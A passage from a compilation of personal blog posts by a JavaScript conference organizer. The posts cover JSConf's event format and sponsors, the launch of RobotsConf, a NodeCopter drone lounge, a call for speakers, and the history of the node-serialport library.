The irony for me is that with this model we actually had to do exactly what the feedback had falsely accused us of doing with parties - using a substantial portion of the attendee ticket fee to pay for the evening event. The new events have the potential to cost substantially more than traditional bar events, which can easily have a capped total amount that rarely exceeds the amount of a sponsoring donation. I want to make this abundantly clear: for an organizer to produce these more inclusive events, it will most likely require more time, effort, and money to accomplish. In my opinion, for both an organizer and attendee, it is a worthwhile trade-off.
### A Middle Day of Breakouts
In our quest to form a new model, we decided to revisit our "during the day" model as well. This change is a drastic change that I only put forth in full disclosure and it was incredibly beneficial to creating intimate experiences within a bigger event context. We added a day full of various activities from golf to Segway tours to beach relaxation to NodeCopters and robot building. Attendees were able to select the activities that appealed most to them which has the added benefit of grouping similar preferences (outdoor vs. indoor) and provided a naturally fitting base of discussion.
Unlike other events that add a similar day to the beginning or end, we added it directly in the middle providing a much needed break between lecture tracks to allow attendees to internalize, discuss, and utilize the information from the talks. Of course, some questioned this workflow at first, arguing that the focus should be strictly on the named technology, but all the feedback we received after the event was resoundingly positive. The ability to breakout while everyone is present and accessible was a huge win and really helped both the speakers from the first day discuss and finalize the perspectives. Meanwhile, the breakout day afforded speakers of the second day a chance to refine their presentations based on the experience of the first day, which is incredibly powerful to the overall event.
We ensured that for those that wanted to continually learn, that opportunities were made available (NodeCopter and NodeBots). For those that wanted to experience nature or to get a workout, opportunities were plentiful (segway tours, kayak trips, etc.). There were also plenty of opportunities for those that wanted to chat with pre-existing or new friends (golf, scavenger hunts, etc.). We did not require individuals to attend specific events so that they could work on their own business or personal projects in isolation or in the company of others at the pool deck or beach. Our goal with the middle days was to create an exciting opportunity for everyone and let them, if they wanted, take advantage of that opportunity.
The middle, choose-your-own-adventure day was without a doubt one of the greatest improvements to JSConf US and will henceforth always be part of our conference model.
## A Word About Sponsors
I want to make a point to provide a different perspective about one of the other groups enumerated in the post, event sponsors and specifically GitHub. Sponsors provide the financial base for conferences and most meetups to even exist. Much like conference organizers, sponsors are trying to accommodate the audience based on the feedback they are receiving in order accomplish their own goals (brand recognition, community support, product launch, hiring, etc). Unfortunately, sponsors are not able to adjust as quickly to change in feedback as conference organizers since their efforts must work within the framework of the event. I want to strongly recommend that we, as a community, evaluate the influence of sponsors based on their willingness to react and support alternatives more so than their previous endeavors which had to fit in the definition of the events. I mention GitHub specifically, because for both JSConf US 2013 (golf tournament) and RobotsConf (evening drive-in theater) they were one of the first to support our modifications without question. And while they do drinkups, they have many other event formats (e.g. Passion Projects, Dodgeball Tournament, workshops, etc.) and have been working to put forth even more entertaining and inclusive alternatives.
## Final Thoughts
As proven over and over again on the Internet, negativity and hyperbole unfortunately dominate as the manner in which feedback is provided. The manner that we express critique directly affects how most people will react to the feedback itself. It is important to take all feedback, no matter how deconstructive or critical, and determine how best to improve based on it. I, personally, look at these moments as a time to rebuild when others fight to maintain the status quo and would encourage you to do the same. Technical conferences can be simultaneously a fun, inclusive, and welcoming experience for all -- yes, it is possible to make everyone happy. I am happy to offer my notes, experiences, anything to help others not have to go through the trials I have, so if you have questions, please don't hesitate to reach out directly to me. By embracing our culture of change and, hopefully someday, improving our methods for providing feedback, we can all work together to positively improve our world.
---
# Why RobotsConf?
Published: 2013-10-15T11:00:00.000-04:00
Updated: 2013-12-14T11:06:07.000-05:00
Source: https://www.voodootikigod.com/why-robotsconf
> With the launch of the JSConf US 2013 [view-source:http://2013.jsconf.us/] website, we (Laura [http://twitter.com/lwilliams] and I) announced that we were setting up a new conference series called RobotsConf [http://robotsconf.com] that would help ease and acclerate the connection between the soft...
With the launch of the [JSConf US 2013](view-source:http://2013.jsconf.us/) website, we ([Laura](http://twitter.com/lwilliams?ref=voodootikigod.com) and I) announced that we were setting up a new conference series called [RobotsConf](http://robotsconf.com/?ref=voodootikigod.com) that would help ease and acclerate the connection between the software world and the maker movement. The two worlds stand almost at odds with one another with amazingly deep technical events like [JSConf](http://jsconf.com/?ref=voodootikigod.com), [RubyConf](http://rubyconf.org/?ref=voodootikigod.com), and [PyCon](http://pycon.org/?ref=voodootikigod.com) on one side and [Maker Faire](http://makerfaire.com/?ref=voodootikigod.com) on the other. Attending a Maker Faire (or any hardware event for that matter, even [NodeBots Day](https://github.com/nodebots/nodebotsday?ref=voodootikigod.com)) is a scary proposition for someone who is entrenched in a higher level programming language. Somewhere along the way, we became myopic and focused on the higher levels of abstraction afforded us by previous generations.
This became all to clear to me as I watched the resurgence of hardware hacking due in large part to [Rick Waldron](https://twitter.com/rwaldron?ref=voodootikigod.com)'s fantastic [Johnny-Five](https://github.com/rwldrn/johnny-five?ref=voodootikigod.com) Node.js library. Simultaneously one could witness the sheer giddiness of hands-on development battling with the internal panic and fear of erupting into electrical flames from shorting a 9V battery. Questions flew threw the air by some of the greatest software developers that to a hardware developer would seem almost insulting or annoying. It was in this moment that I felt much like I had back in 2008 when we first started [JSConf](http://2009.jsconf.us/?ref=voodootikigod.com).
At [SaferAging](http://www.saferaging.com/?ref=voodootikigod.com), my current place of work, I have the luxury and benefit of having a foot firmly planted in both the high level, big data, buzzword-laden client and server development world **and** the up-and-coming Internet of Things hardware space. On a daily basis, I am juggling callbacks and git commits with bench power supply leads and spec sheets. So for me, personally, it became readily apparent that I was a rare bird that can witness and live in both sides of the equation. It also became very obvious to me that the rising trend within software to dabble with hardware dovetails perfectly with the rising trend to Internet-ify hardware through either 802.11, Bluetooth LT, or other similar protocols.
Software developers, myself included, pride ourselves on our ability to create amazing things in a short period of time and with continually increasing ease. That said, when you "ship it" the thrill and excitement of the moment tapers to zero overtime because (almost) everything in software is ephemeral and fleeting. One of the greatest joys I have experienced is soldering an internet-connected baby mobile to fill a very much need of my own. It is a joy that continues to give (every sleep filled night) and we can see, touch, and use every day. There is something far more cathartic, for me at least, in creating hardware devices than I ever had with software. I wanted to share this feeling with other developers.
When creating JSConf, we were very focused on just JavaScript developers, who at that time did not have a place to gather and build a core community. With RobotsConf, we wanted to not just bridge software and hardware, but work on bridging the fiefdoms within software development itself. All too often are our news sites filled with "_X is better than Y_" or "_Z sucks, use W_". I have spoken about [ending this negativity](http://www.youtube.com/watch?v=17rkSdkc5TI&t=8m16s&ref=voodootikigod.com) and RobotsConf was a perfect opportunity to convert those words into actions (and events). By bringing everyone together for a topic all are excited by and yet all are fearful of, maybe we can start over, make friends, and build a better and more connected developer community.
The event is designed to be a perfect introduction to hardware not for a specific programming language, but for all programming languages. We are purposefully inviting language and platform specific experts to the event to ensure that attendees can build the hardware of their design and connect it up to Internet services all without leaving the safety and comfort of their preferred programming language. The event is designed to be a great welcoming event and survey to the entire [Maker Movement](https://en.wikipedia.org/wiki/Maker_subculture?ref=voodootikigod.com) from 3D printers to quadcopters to Arduino hacking and the Intenet of Things. The sheer volume of items introduced and presented at RobotsConf far outpaces anything we have ever attempt previously, but we are doing it so you, the attendee, can get the perfect sample of all things in order to determine which best fits you.
RobotsConf is about bringing software developers together to experience the joy of making real-world things. It is not yet an event that employers will necessarily be ready to send you to, much like the original JSConf was, but it will be - I promise you. Once developers are able to step outside of the digital world and affect change, show status, or creating things in the real world, development and development options are forever changed.
We are heading forward to a more exciting world in the developer space, one that is no longer confined to servers or laptops, one that is real, one that is [RobotsConf](http://robotsconf.com/?ref=voodootikigod.com). Come join us.
---
# NodeCopter Lounge At CascadiaJS
Published: 2012-11-20T12:00:00.000-05:00
Updated: 2013-12-14T11:10:58.000-05:00
Source: https://www.voodootikigod.com/nodecopter-lounge-at-cascadiajs
> With support from Microsoft Windows Azure, we ran an Intro to NodeCopter lounge at CascadiaJS 2012 — letting 45 attendees fly Parrot AR.Drones and hack on wii-drone, Johnny-Five, and node-serialport over two days.
[](https://a248.e.akamai.net/camo.github.com/89da77cf31ada14e8e9a44e6747c5bfc55fe7d6c/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f6e6f6465636f707465722e6a7067?ref=voodootikigod.com)
With the gracious support from [Microsoft Windows Azure](http://aka.ms/cascadiajs?ref=voodootikigod.com), [Matt Podwysocki](http://twitter.com/mattpodwysocki?ref=voodootikigod.com) and I ([Chris Williams](http://twitter.com/voodootikigod?ref=voodootikigod.com)) were able to create a great little “Intro to NodeCopter” lounge event over the two days of [CascadiaJS](http://cascadiajs.com/?ref=voodootikigod.com). Set up just outside the main room of the event, we had two Parrot ARDrones available for individuals to run through some test flights. In total we were able to allow almost 45 people fly the drones over the course of the two days with almost everyone in attendance at least stopping by to see what was going on. We had several individuals sit down and start to dabble with the available hardware to extend or start new projects with the NodeCopters.
[](https://a248.e.akamai.net/camo.github.com/e0f2817b1424d7adcc3a201742f7efbee21bafc9/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f636f7074657273666c79696e672e6a7067?ref=voodootikigod.com)[](https://a248.e.akamai.net/camo.github.com/2789fdb34c09ef40b3e4bdc387e703ca25228e00/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f636f7074657273666c79696e67322e6a7067?ref=voodootikigod.com)
One of the more successful projects during the conference was to start the evolution of the previously built [wii-drone](http://github.com/voodootikigod/wii-drone?ref=voodootikigod.com) from an [arduino](http://arduino.cc/?ref=voodootikigod.com) microcontroller system over to a more encapsulating [Raspberry Pi](http://www.raspberrypi.org/?ref=voodootikigod.com) based system. Another project that garnered a lot of interest, but is still in process was [Rick Waldron](http://twitter.com/rwaldron?ref=voodootikigod.com)’s efforts to get the [Johnny-Five](http://github.com/rwldrn/johnny-five?ref=voodootikigod.com) and [node-serialport](http://github.com/voodootikigod/node-serialport?ref=voodootikigod.com) libraries to operate with the Arduino Leonardo boards. While not strictly a traditional NodeCopter event, the lounge provided a great place to discuss interesting and novel ways of using JavaScript to interact with the real world.
[](https://a248.e.akamai.net/camo.github.com/bc44428ebc177fa669eae91df27b16d82b04479f/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f636f707465722e6a7067?ref=voodootikigod.com)[](https://a248.e.akamai.net/camo.github.com/a9aa1b6d3e1a5fc1460d6920b37b473cd583ac91/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f70617274732e6a7067?ref=voodootikigod.com)[](https://a248.e.akamai.net/camo.github.com/fe2a800e9f0a7ee95ba521dc49a235b6b901e934/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f70692e6a7067?ref=voodootikigod.com)
In summary, we are happy to report that the event overall was a huge success with many individuals primed and ready for their first, full-fledged NodeCopter event. The lounge style provided a nice, “walk-up”, and low-commitment variation of the NodeCopter event and afforded some amazing conversations in the process.
[](https://a248.e.akamai.net/camo.github.com/983b1d22b62c8e4bebb7e1c334afd2c7808dac4d/687474703a2f2f6e6f6465636f7074657263617363616469612e73332e616d617a6f6e6177732e636f6d2f746f706f666c6f756e67652e6a7067?ref=voodootikigod.com)
More pictures available from Matthew Bergman ([link](http://www.flickr.com/photos/matthewbergman/sets/72157631964193614?ref=voodootikigod.com)) and the [CascadiaJS SkyDrive](http://skydrive.live.com/?cid=EE519AE301B7731D&id=EE519AE301B7731D%21107&ref=voodootikigod.com)
Once again, a HUGE THANK YOU for supporting us to
[](http://aka.ms/cascadiajs?ref=voodootikigod.com)
---
# JSConf US 2013 Call for Speakers
Published: 2012-10-31T12:00:00.000-04:00
Updated: 2013-12-14T11:12:12.000-05:00
Source: https://www.voodootikigod.com/jsconf-us-2013-call-for-speakers
> As part of our on-going reinvention of JSConf [https://www.voodootikigod.com/a-jsconf-reflection], we are going to break our single, most sacred rule [https://www.voodootikigod.com/how-i-pick-speakers-for-jsconf], if you have spoken at a JSConf, it is nearly impossible to speak again at a JSConf. Ov...
As part of our on-going [reinvention of JSConf](https://www.voodootikigod.com/a-jsconf-reflection), we are going to break our [single, most sacred rule](https://www.voodootikigod.com/how-i-pick-speakers-for-jsconf), if you have spoken at a JSConf, it is nearly impossible to speak again at a JSConf. Over the past four years of JSConf events, we have spotlighted individuals that would otherwise never get a stage. We have given a platform for risky, crazy, and amazing things to flourish into even bigger, more widely-known products, ideas, and libraries. Many of the brightest things in JS over the last five years have their roots deeply engrained with JSConf and this is something we take incredible pride in. We push ourselves each year to take riskier and riskier speakers because they define the discussion about JS over the next year or years. Unlike other events, attendees do not come to JSConf to learn JS, they come to have their minds blown about what they had never conceived JS could accomplish. If you would like some examples of technologies and ideas first presented at JSConf, here are just a handful:
- PhoneGap
- Cappuccino
- Node.js
- Appcelerator
- Yahoo! Mojito
- WaterBear
- Sashimi
- Gordon
- PDF.js
- Cloud9
- Firefox OS
- YepNope
- Fab
- Google Traceur
- Three.js Editor
- Jed Schmidt
The list continues further and makes all of us that help put JSConf on grin from ear to ear. Our aggressive self-dedication to spotlighting the next generation of ideas has been something fundamental to everything we do. It is specifically for this reason that we are going to break our golden rule.
**Homecoming**
Given that the theme of this year’s JSConf US is “5th Year Family Reunion”, we want to try out a different format for speaker selection. We are splitting JSConf US 2013 into two main speaking days split by a day of small group activities (more on that later). The first day will play host to presentations by community selected alumni JSConf US speakers. We have [opened up voting for you to specify your preference](https://docs.google.com/spreadsheet/viewform?formkey=dGFrYTZZNEpVWkI3QVdXMi1KUldGTlE6MQ&ref=voodootikigod.com) on which of the alumni speakers from 2009 - 2012 should be invited back to speak again on the JSConf stage. The voting will remain open until Friday, November 30th at 12:00PM EST in order to allow time for everyone to participate. During the following week, we will tabulate the votes and send out invitations to the lucky alumni speakers.
**A Blended Approach**
We still want to retain the our traditional speaker selection process, continuing our trend of spotlighting new ideas. As such, we have [opened up a more traditional Call for Speakers form](https://docs.google.com/spreadsheet/viewform?formkey=dHJ5SXJSNUhpeTA4eEE1b216amoxaGc6MA&ref=voodootikigod.com) that will remain open until Friday, November 30th at 12:00PM EST. As we have always done, we are seeking out new ideas and concepts that push the boundaries of JS and the JS community. We welcome strange and unusual presentations as long as they remain within the boundaries of our well established [Code of Conduct](http://jsconf.com/codeofconduct.html?ref=voodootikigod.com). We are looking for talks focused on all parts of JS, including but not limited to:
- Data Management
- Web Security
- MVC Frameworks
- Server Side JS
- Compile to JS Languages/JSVM
- Mobile Web
- Future of JS
- Education and Outreach of Computer Programming
Last year we tried a new approach, what we called an “inverse call for speakers”. We are going to do that this year along with a traditional call for speakers. If you want to nominate a person and idea that you would like to see, you can submit that as well with the form above. If you are are the person submitting yourself, which is completely cool and encouraged, please mark your submission as “this is me”, so we can write you back if your submission is or is not accepted.
As we have done from the very start of JSConf, we cover full transportation costs (within reason, no first class all the way, unfortunately), admission to JSConf, and all of your lodging costs. We do this so you can provide an amazing presentation with a relaxed and refreshed outlook and attitude. There is zero risk in submitting yourself and people you admire to speak, so go ahead and throw in!
**Training Included**
We understand that people attend JSConf for a wide variety of reasons, whether it is to build deep relationships, be part of the next generation of JS, or to learn JS and all it has to offer. Historically, we have, admittedly, not focused on that last item and this has caused confusion and frustration with some attendees that arrive with a different expectation. This is probably the single biggest modification we are doing as part of JSConf US 2013. Training will be provided as an isolated, parallel track. Trainings will be provided for free in 1 or 2 hour blocks (allocation based on topic complexity) that align against the main track’s schedule. We will try to schedule this track as carefully as possible to avoid the “I want to be in two tracks at the same time” problem, but unfortunately that might happen. We are seeking individuals and/or organizations with a proven track record of providing best-of-breed training to conduct these segments. If you are ready to help educate JS developers at JSConf, please email us at [training@jsconf.us](mailto:training@jsconf.us).
---
# A JSConf Reflection
Published: 2012-10-26T11:00:00.000-04:00
Updated: 2013-12-14T11:13:22.000-05:00
Source: https://www.voodootikigod.com/a-jsconf-reflection
> Hi, this is Chris [http://www.twitter.com/voodootikigod] and Laura [http://www.twitter.com/lwilliams] Williams. We started JSConf as a complete and total accident in the winter months of 2008, just a couple months after our wedding. When we created the first JSConf we had little idea of how to put o...
Hi, this is [Chris](http://www.twitter.com/voodootikigod?ref=voodootikigod.com) and [Laura](http://www.twitter.com/lwilliams?ref=voodootikigod.com) Williams. We started JSConf as a complete and total accident in the winter months of 2008, just a couple months after our wedding. When we created the first JSConf we had little idea of how to put on a technical conference and we would be the first to admit it. We took stock of all the events, both technical and otherwise, we had been to and listed out what worked and what failed. The most common and important element we noticed was that our favorite items were always personal expressions of the people planning the event. We knew we wanted to curate an experience more than just an event. We wanted to act like hosts more so than organizers. We went through many harrowing things in order to pull off the very first event, things that we have since tried extremely hard to prevent other [new conference organizers](http://www.mikealrogers.com/posts/the-business-of-conferences.html?ref=voodootikigod.com) from repeating our troubles or worse. From the beginning, we wanted one thing as an outcome of JSConf: there to exist a vibrant, positive, and growing family of individuals that use the JS language.
Over the years that have followed, we have pushed the boundaries of what a conference should and could be. We always remained focused on presenting the conference as a personal expression of what we would want to share with our attendees. We selected cities where we had some of our most memorable experiences. We selected social activities that highlighted some of our favorite or most amazing nights, the kind that unless you had led our life you might never have had the opportunity to experience.
Each year we would put in tireless nights, many heated discussions, and toiled over otherwise mundane details on ways we could share something even more amazing with you. We mention regularly that JSConf is an experiment and we deeply mean this, we have tried our best to never rest on our laurels and test out new possibilities, new ways of creating an event, and new concepts.
We have always retained some core concepts, the most fundamental of which was to always focus on the human social development aspect of the event. The secondary was to always indulge every attendee well beyond that which they have paid. The third was to always treat attendees, staff, sponsors, and speakers with the utmost of respect and appreciation. These things make a huge difference in how the event runs, obviously, but also about how the experience evolves. Every event has always resulted in attendees, speakers, and sponsors coming up and showing a huge amount of appreciation for our efforts. What is even more striking is that venue staff and vendors we work with even go so far as to make it abundantly known that our group is one of the most kind, considerate, and easy to work with out there. We try to be humble, but this is one of our most proud acheivements in curating JSConf. It makes us even more proud that this respectful curation spirit has carried on in the events that have spawned from JSConf.
So after all of the years and the more than double-digit number of events we have been a part of organizing, we have learned a tremendous amount and have experienced a lifetime’s (or more) worth of joy and frustration in executing these events. At the end of this year’s JSConf US 2012, something happened that rocked our world and our immediate reaction was that all of the effort, complexity, and stress on our growing family wasn’t worth it. The determinal effects of negativity that are not only common, but rampant on the Internet had pretty much put an end to our desire to create anything further for the JS or any other technical community.
You see, running these conferences isn’t our job, we each run our own successful business as our primary jobs. Also these conferences, while sometimes feeling like our baby, aren’t in fact our baby, we have one that is constantly growing into a wonderful engineer despite being only 2. Over time, we came to terms with what happened in different ways. At first, the terms were to take JSConf down the same path, but even bigger and bolder. We had a grand plan of hosting a JSConf in New York City and going full tilt, nothing held back, making a spectacle using the same core principles that had drawn so much focus over the last 4 years. Then something happened, we found out that we were having another child due right around the normal time we hold JSConf US.
This changed something in both of us. For Chris it made him realize that the reason JSConf was such a target was its own success and also that the conference model we had helped established had taken root and become widely spread. If you look out at the conference landscape, the number of JS events that are inspired by or simply utilize the JSConf model is astounding, something we had never stepped back and looked at. An unforeseen result of giving everything away and helping others is that things start looking like your event, this is not necessarily a bad thing - just an observation. When we started JSConf, the landscape was tremendously different. We, a conference with a high focus on human social, were a rare breed. The only other conference we know of that did anything close was our inspiration, RubyFringe. There obviously have to be others, but to our knowledge and experience at that time it was a relatively short list. This started our wheels turning and we started thinking of a different concept for what a technical conference could be. Something different that would appeal to and include all interests and preferences. Something that would resolve some of the lingering issues we experience with our own events. A different event that would cure the last remaining complaints about JSConf, something that both took advantage of all the wonderful things we now know AND yet establishes something completely different. A fresh restart.
When looking for venues, we looked to keep the date close to previous years in order to maintain consistency and distance from other JSConf around the world. Since we were having the baby also during that time, it meant we had to do something back in the Washington DC area in order to reduce stress on our family. Unfortunately, all of the venues of size for a current JSConf in the DC area meant we would have to have a hotel room rate of in excess of $300 OR be within 3 weeks of the planned birth of our new baby. Neither of which was an acceptable solution for the event or us. As a chance, we requested a bid from the wonderful resort that Laura’s family spends Christmas and we occassionally spend our summer vacation at, [Amelia Island, Florida](http://www.omnihotels.com/FindAHotel/AmeliaIsland.aspx?ref=voodootikigod.com). To our surprise, they were able to accomodate us at a room rate of $199/night for beach front hotel rooms AND host our event a full 3 months after the planned birth of our child AND provide enough space to pull of our new concept. Impossibly, we had found something that worked for our multivariable equation of a new conference model, while affording our family the space it requires.
We wanted to share all of this, because it is easy to forget when attending a conference that real people with real feelings and real families and friends are running these events. They are doing their hardest to produce something for the community out of good will. Technical conferences are not community events, they are events put on FOR the community by a handful of individuals at their own personal risk. If tickets don’t sell, as happened our first year, they have to put up the house (if they have one), their car (if they have one), and their savings (if they have any) as collateral to make this happen. At best, conferences are an individual or a group of individuals perspective on what they believe would be appreciated by the community at their own personal risk.
As for what JSConf US 2013 will look like, stay tuned. This year, we are trying to share more about the process we go through in order to make JSConf happen. We hope this helps others in creating different events and allows those of you who don’t run events to see just what it takes to run an event. We are tremendously excited about our new concept for a conference and are pretty sure you will be just as excited as we roll out details.
---
# NodeBots - The Rise of JS Robotics
Published: 2012-07-13T11:00:00.000-04:00
Updated: 2013-12-14T11:15:39.000-05:00
Source: https://www.voodootikigod.com/nodebots-the-rise-of-js-robotics
> On September 7, 2010, I committed the very first implementation of node-serialport [https://github.com/voodootikigod/node-serialport] with a disclaimer in the README of “do not use”. I had extracted the library from a larger project for communicating to various wireless spectrums (open and properti...
On September 7, 2010, I committed the very first implementation of [node-serialport](https://github.com/voodootikigod/node-serialport?ref=voodootikigod.com) with a disclaimer in the README of “do not use”. I had extracted the library from a larger project for communicating to various wireless spectrums (open and propertiary, think [X10](http://www.x10.com/homepage.htm?ref=voodootikigod.com)) for physical monitoring via sensors. Originally, I was using the very robust and established [pyserial](http://pyserial.sourceforge.net/?ref=voodootikigod.com) library to much success, but something about the way I was interacting with my sensors through pyserial felt awkward to me. I will openly admit that this feeling was more than anything due to me than any misgiving from the library as it is a great library.
It was actually during this time that the JSConf EU team was soliciting topics for presentation and one from [Nikolai Onken](http://twitter.com/nonken?ref=voodootikigod.com) and [Jörn Zaefferer](http://twitter.com/bassistance?ref=voodootikigod.com) of [Uxebu](http://www.uxebu.com/?ref=voodootikigod.com) popped up about [Robotic JavaScript](http://www.slideshare.net/nonken/robotic-javascript?ref=voodootikigod.com). In the proposal, they pitched that the thesis of their talk would be creating a world in which controlling devices could be as simple as:
$("livingroom").bind("motion", function() {
$(this).find("lights").brightness("75%").dimAfter("120s");
});
Now, that struck a (good) nerve for me.
By modeling real world objects and actions as chainable, evented processes felt almost natural. For my specific use case, I was using the serial port as a response handler, the perfect example of this is “When the front door opens, toggle all lights”. The close similarity to jQuery had the added benefit that as we increased in size, we wouldn’t need a hardcore programmer that understood serial ports AND Python, but just JavaScript and a rough comprehension of jQuery. I felt like there was something worthwhile here and so I sat down to code.
While programming the first revision of node-serialport I realized a couple amazing things that I wanted to share. I see the same questions every single time someone posts a new project using node-serialport to the world and I would like to provide my perspective of the answers. I prefer to use node.js for programming arduinos, wireless stacks, printers, toasters, etc. (anything through the serial port), for some very definitive reasons the most direct reason is simplicity. The node module system and the very thin native bindings allows me to develop new low level functionality very swiftly without having to involve too much node specific code segments. This also affords me, the library maintainer, the ability to leverage the larger world of knowledge about how to program, debug, and test serial ports directly and not have to spend days working on getting it to work with node.js. The layer to connect straight C++ code with node.js is so thin, it is nearly trivial to implement (and implement properly) which is why I fell in love with it. I know people have a similar love (or strong hate) for Python and Ruby’s native binding, but, personally, am of the opinion that the syntax similarities between C and JavaScript make it a lot smoother of a process for mentally visualize the binding despite spanning two languages. If you look at the low level C++ of node-serialport you can probably fully understand it even if you have only ever programmed JavaScript. That can both be powerful and wrought for confusion, admittedly, but for me it just clicked and made writing the low level serial port code an absolute joy. Your mileage may vary, but at least it is worth investigating.
Once the low level code was written, one of the main reasons I have continued to develop on top of node.js for my serial port needs is that desire to programmatically describe my problem domain in a manner that fits it. As mentioned, my system, and most systems using node-serialport (arduino, etc), are inherently reactionary in that they wait for some event or data and then do some thing. This is arguably JavaScript’s bread and butter, it is how most people are trained already to think when they think in node and JavaScript. Can this be done in other languages, sure, but the simplicity of the implementation all the way up from the low-level C++ to the interfacing code to even the event handling makes for something very capable and very understandable with little effort. In the recent comments about the awesome [node.js wifi-extending robot](http://glench.com/make/nodejs-robot/?ref=voodootikigod.com), an individual asked [why not clojure or scala or python or ruby](http://news.ycombinator.com/item?id=4235645&ref=voodootikigod.com) and my most direct answer is that the volume of code to create the reactionary system (including eventmachine/twisted/redis/pubsub/etc) quick grows beyond simple hobbyist experimentation. And lets be completely honest here, at least for now - arduino, x10, raspberry pi, etc are all at best in the hobbyist domain especially under the context of “software developers playing with hardware”. I would actually apply the theory of increasing developer happiness from Ruby as the reason to use node.js for building robot PROTOTYPES. It is lightweight, simple, and easy to make complex reactionary systems with little effort. Best of all it is JavaScript, so you have no risk of falling madly in love with your initial prototype and will eventually rewrite in something ‘more production-worthy’. Or not.
As an example of how lightweight node.js hardware development can be, I would offer up the amazing work done by Rick Waldron in Johnny-Five, take a look at the source code for [processing events from an acceleromator](https://github.com/rwldrn/johnny-five/blob/master/eg/accelerometer.js?ref=voodootikigod.com) it is easily readable, understandable and just over 10 lines of code. [Controlling a servo](https://github.com/rwldrn/johnny-five/blob/master/eg/servo.js?ref=voodootikigod.com), also just over 10 lines of code and just as readable and comprehensible. With node-serialport and [firmata](https://github.com/jgautier/firmata?ref=voodootikigod.com) (which kicks butt, props to Julian Guatier) the physical world is an oyster for JS developers, if you don’t believe, three of the best presentations at NodeConf 2012 were ones using node.js to [control physical devices](http://2012.nodeconf.com/theatre/rick_waldron.html?ref=voodootikigod.com). Also [review his slides](https://dl.dropbox.com/u/3531958/nodeconf/index.html?ref=voodootikigod.com).
When I look at all the people working with node-serialport, the one thing I see across the board is that the “ease” of programming JavaScript, the evented model, and how real world devices exist and operate – all of that seems to blend nicely. Another fine example is the [tmpad](http://vimeo.com/34575470?ref=voodootikigod.com), a DIY MIDI pad from Elijah Insua. The source code is make a midi pad is [almost nothing](https://github.com/tmpvar/tmpad?ref=voodootikigod.com) and that is a good thing. Elijah was able to create somethign amazing with little effort, which is why I believe we are on the cusp of the [broader adoption](http://www.netmagazine.com/features/10-things-you-didnt-know-javascript-could-do?ref=voodootikigod.com) of JS as a leading language for building and controlling hobbyist hardware systems.
I say this because every day I hear more people making newer, brighter, more robotic things with node-serialport. I recently came across [BreakoutJS](http://breakoutjs.com/?ref=voodootikigod.com) which is nobly attempting to make it even easier to interoperate with sensors and devices. This makes me happy and it should make you happy as well, if just to witness the energy and excitement. For me, the hobbyist hardware domain is more real than programming code, it is crossing of the boundary from abstract to real-life and has a massive potential to do a lot of good for a lot of people. Should it eventually be coupled with a strong AI system like a Clojure? Absolutely, but for now, play and experimentation are the key. If you must demand starting with a lisp, then just use ClojureScript and viola, best of both worlds!
# An Announcement
One of the things that has been lacking from node-serialport was support for Windows. I recently found that [Joe Ferner](http://www.nearinfinity.com/blogs/joe_ferner/?ref=voodootikigod.com) was working on a fork that would (among other things) add Windows support. In the full beauty of social, open source development, we synced up and are happy to present for your cross-platform robot creation plans of world domination:
## [node-serialport 1.0.0](http://search.npmjs.org/?ref=voodootikigod.com#/serialport)
We have tried to maintain the same API as the original node-serialport system, but add a couple of other accessible items. We have vetted this version with people that we had email addresses of and knew were building on top of node-serialport, if you were building something and run into an issue with this new version, please [register a ticket](https://github.com/voodootikigod/node-serialport/issues?ref=voodootikigod.com). We will try to resolve it as quickly as possible. We are quite excited about this release and happy to say that after almost 2 years of watching the JS robotics community grow, I can officially say: “Welcome your robotic javascript overlords. Better yet, program them (even on Windows)!”
If you want to talk about things you are doing with node-serialport, arduino, anything robotics and beyond, please come join us in IRC on the freenode channel #robotjs.
`npm i serialport`
Happy Hacking,
@voodootikigod
Oh, and get off the Internet and go change the world!
---
# The Regional JS Speaker Directory
Published: 2012-02-23T12:00:00.000-05:00
Updated: 2013-12-15T21:26:23.000-05:00
Source: https://www.voodootikigod.com/the-regional-js-speaker-directory
> As being the curator of JSConf, I see a lot of new names and exciting topics during the Call For Speakers process, but unfortunately we only have 20-24 slots available for speakers. If I could I would have everyone speak all the time! Luckily there are hundreds of JS meetup groups happening all acro...
As being the curator of JSConf, I see a lot of new names and exciting topics during the Call For Speakers process, but unfortunately we only have 20-24 slots available for speakers. If I could I would have everyone speak all the time! Luckily there are hundreds of JS meetup groups happening all across the USA and thousands across the world - it is an exciting time. We, the JSConf team, wanted to make a way to help these JS meetup groups connect with the people that register for the Call for Speakers of JSConf (US|EU|..) that might even live or work right next door to them.
And so the [Regional JS Speaker Directory](https://docs.google.com/spreadsheet/viewform?formkey=dGN0MEVOMUVVRVVtT2lOR1kwdTJJblE6MQ&ref=voodootikigod.com) was born.
Initially this is targeting local JS meetup groups, but could very easily be used to help curate amazing local content for various [regional](http://2011.texasjavascript.com/?ref=voodootikigod.com) [JS](http://capitoljs.com/?ref=voodootikigod.com) [conferences](http://reddirtjs.com/?ref=voodootikigod.com). For now, we are just gathering details about speakers, but we will be curating that list and providing them to regionally based meetup organizers as part of JSConf US 2012. This will hopefully get people talking with one another and allowing all these amazing talks happen across the USA and eventually the world. This is a pretty exciting initiative for us and for the JS community so anything you can do to help us would be greatly appreciated. At the very least, be sure to [sign yourself up](https://docs.google.com/spreadsheet/viewform?formkey=dGN0MEVOMUVVRVVtT2lOR1kwdTJJblE6MQ&ref=voodootikigod.com)!
---
# Why I Am Sponsoring PyCodeConf (and What It Means to You)
Published: 2011-09-06T11:00:00.000-04:00
Updated: 2013-12-15T21:27:10.000-05:00
Source: https://www.voodootikigod.com/why-i-am-sponsoring-pycodeconf-and-what-it-me
> tl; dr: Magic in Miami, a limited number of tickets for PyCodeConf are available for you at $300/each [http://eventrainbow.com/github/pycodeconf/?promo=JSCONF]. Don’t forget to pick up your hotel rooms at $179/night [https://gc.synxis.com/rez.aspx?Hotel=26735&Chain=10179&arrive=10/5/2011&depart=10/8...
